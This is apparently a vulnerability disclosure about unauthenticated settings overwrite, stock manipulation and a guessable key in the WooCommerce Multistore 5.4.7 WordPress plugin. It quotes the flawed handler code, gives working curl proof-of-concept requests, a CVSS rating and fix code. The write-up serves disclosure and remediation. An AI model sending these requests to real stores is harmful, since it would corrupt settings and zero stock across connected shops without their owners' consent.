Skip to content

Unauthenticated Settings Overwrite in WooCommerce Multistore: CVE Research

Created September 10, 2026 • Last updated September 11, 2026 • 4 min read • 1,277 views

Joshua

HackIndex Creator

WooCommerce Multistore 5.4.7 registers approximately 20 AJAX handlers unconditionally on every WordPress request. Three distinct vulnerability chains allow an unauthenticated attacker to overwrite site-wide settings, manipulate product stock across all connected stores, and on multisite enumerate a low-entropy integer key that unlocks a further thirteen write, delete, and SQL injection handlers.

How the WooCommerce Multistore Authorization Bug Works

Every AJAX handler is registered before authentication is established

woocommerce-multistore.php:342 calls init(), which instantiates every AJAX class unconditionally on every WordPress request, including frontend page loads by anonymous visitors. WordPress defers the wp_ajax_nopriv_* hooks to unauthenticated users by design, so registering them here with no guard means any visitor can reach them.

The nonce check is fake

includes/ajax/class-wc-multistore-ajax-settings-master.php:27-33:

add_action( 'wp_ajax_nopriv_wc_multistore_save_master_settings', array( $this, 'wc_multistore_save_master_settings' ) );

public function wc_multistore_save_master_settings() {
    if ( ! isset( $_POST['nonce'] ) ) {
        wp_die();
    }
    // nonce value is never passed to wp_verify_nonce()

isset() tests existence, not authenticity. Any POST body that includes a nonce key with any value passes the check. Sending nonce=1 is enough.

Arbitrary settings reach the database

The handler immediately deserializes the attacker-controlled settings POST field and passes it to WC_Multistore_Settings->save():

$serialized_settings = $_POST['settings'];
$settings = array();
parse_str( wp_unslash( $serialized_settings ), $settings );

$WC_Multistore_Settings = new WC_Multistore_Settings();
$WC_Multistore_Settings->save( $settings );

save() in includes/admin/class-wc-multistore-settings.php:110-135 writes the result directly into wp_sitemeta via update_site_option( 'wc_multistore_settings', ... ) without validating any individual field.

The overwrite propagates to every connected child store

After persisting locally, save() calls send_settings_to_child() for each store registered in the network. A single unauthenticated POST to the master store corrupts the configuration of every child store in the deployment.

Stock handlers have zero guards at all

includes/ajax/class-wc-multistore-ajax-stock-child.php:18 registers wp_ajax_nopriv_wc_multistore_child_receive_stock with no nonce, no key, and no capability check:

public function wc_multistore_child_receive_stock() {
    $child_id = wc_multistore_product_get_slave_product_id(
        $_REQUEST['master_product_id'],
        $_REQUEST['master_product_sku'],
        $_REQUEST['language']
    );
    $wc_product = wc_get_product( $child_id );
    $wc_multistore_child_product->update_stock( $_REQUEST['stock_quantity'] );
}

$_REQUEST['stock_quantity'] flows without transformation into the stock update. An attacker can set any product on any child store to 0 or to an arbitrarily large number.

Thirteen more handlers are gated by a predictable integer

class-wc-multistore-site.php:226:

if ( empty( $data['id'] ) ) {
    $this->set_id( get_current_blog_id() );
}

On a standard WordPress multisite, get_current_blog_id() returns 1 for the main site, 2 for the first subsite, and so on. Thirteen AJAX handlers are guarded by comparing $_REQUEST['key'] against this value:

if ( empty( $_REQUEST['key'] ) || $_REQUEST['key'] != WOO_MULTISTORE()->site->get_id() ) {
    return;
}

On a default installation, key=1 passes every guard. The handlers unlocked include wc_multistore_connect_child_site, wc_multistore_delete_child_product, wc_multistore_delete_refund_order, wc_multistore_reset_child_site, and eight others. class-wc-multistore-order-refund-child.php:38,51 contains unparameterized $wpdb->query() calls reachable through these handlers, turning the predictable-key weakness into an SQL injection path.

Selector

Guard value

Result

Default multisite main site

key=1

All 13 handlers unlocked

First subsite

key=2

All 13 handlers unlocked

Large network

key=N (brute-force)

All 13 handlers unlocked

Proof of Concept

Requirements: WordPress with WooCommerce Multistore 5.4.7 network-active. No account, no session cookie, no valid nonce.

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST https://TARGET/wp-admin/admin-ajax.php \
-d 'action=wc_multistore_save_master_settings&nonce=1&settings=synchronize-stock%3Dyes%26publish-capability%3Dadministrator'
{"status":"success","messages":["Settings Saved"]}

Confirmed on a local test install. The resulting row in wp_sitemeta after the request:

synchronize-stock";s:3:"yes";s:19:"publish-capability";s:13:"administrator"

No cookies, no session, no credentials of any kind.

To confirm the stock handler independently:

┌──(kali㉿kali)-[~]
└─$ curl -s -X POST https://CHILD-SITE/wp-admin/admin-ajax.php \
-d 'action=wc_multistore_child_receive_stock&master_product_id=1&master_product_sku=SKU1&language=en&stock_quantity=0'

Impact

An unauthenticated attacker can overwrite all plugin settings stored in wp_sitemeta on the master store, with those settings immediately propagated to every connected child store. Affected settings include stock synchronization behavior, product sync rules, and API credential fields. Redirecting synchronization to an attacker-controlled endpoint is possible without any authenticated access.

On child stores, the stock handler requires no key at all. An attacker with no account can set any product's stock to zero across the entire network, effectively taking all connected WooCommerce stores offline for customers.

On multisite installations the predictable blog ID key expands the attack surface to thirteen additional destructive handlers, including product deletion, order deletion, child site reset, and SQL injection via unparameterized queries in the refund handler.

Severity Assessment

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L = 7.5 (High)

Metric

Value

Reason

Attack Vector

Network

Reachable via admin-ajax.php from the internet

Attack Complexity

Low

Single HTTP POST, no preconditions

Privileges Required

None

No account or session needed

User Interaction

None

No victim interaction required

Scope

Unchanged

Impact confined to the WordPress installation

Confidentiality

None

No data exposed

Integrity

High

Full overwrite of plugin settings, product stock

Availability

Low

Stock can be zeroed, disrupting sales

In connected-store deployments where the master store pushes settings and stock to child stores, the effective blast radius is the entire multistore network.

Fix

Every wp_ajax_nopriv_ handler must be removed and replaced with wp_ajax_ combined with a genuine capability check. The nonce field must be passed to wp_verify_nonce():

if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'wc_multistore_settings_nonce' ) ) {
    wp_die( 'Unauthorized', '', 403 );
}
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    wp_die( 'Forbidden', '', 403 );
}

The integer blog ID key used by the thirteen store-to-store handlers must be replaced with a random secret generated at pairing time:

// On pairing:
update_site_option( 'wc_multistore_api_secret', wp_generate_password( 32, false ) );

// On each guarded handler:
if ( ! hash_equals( get_site_option( 'wc_multistore_api_secret' ), (string) $_REQUEST['key'] ) ) {
    return;
}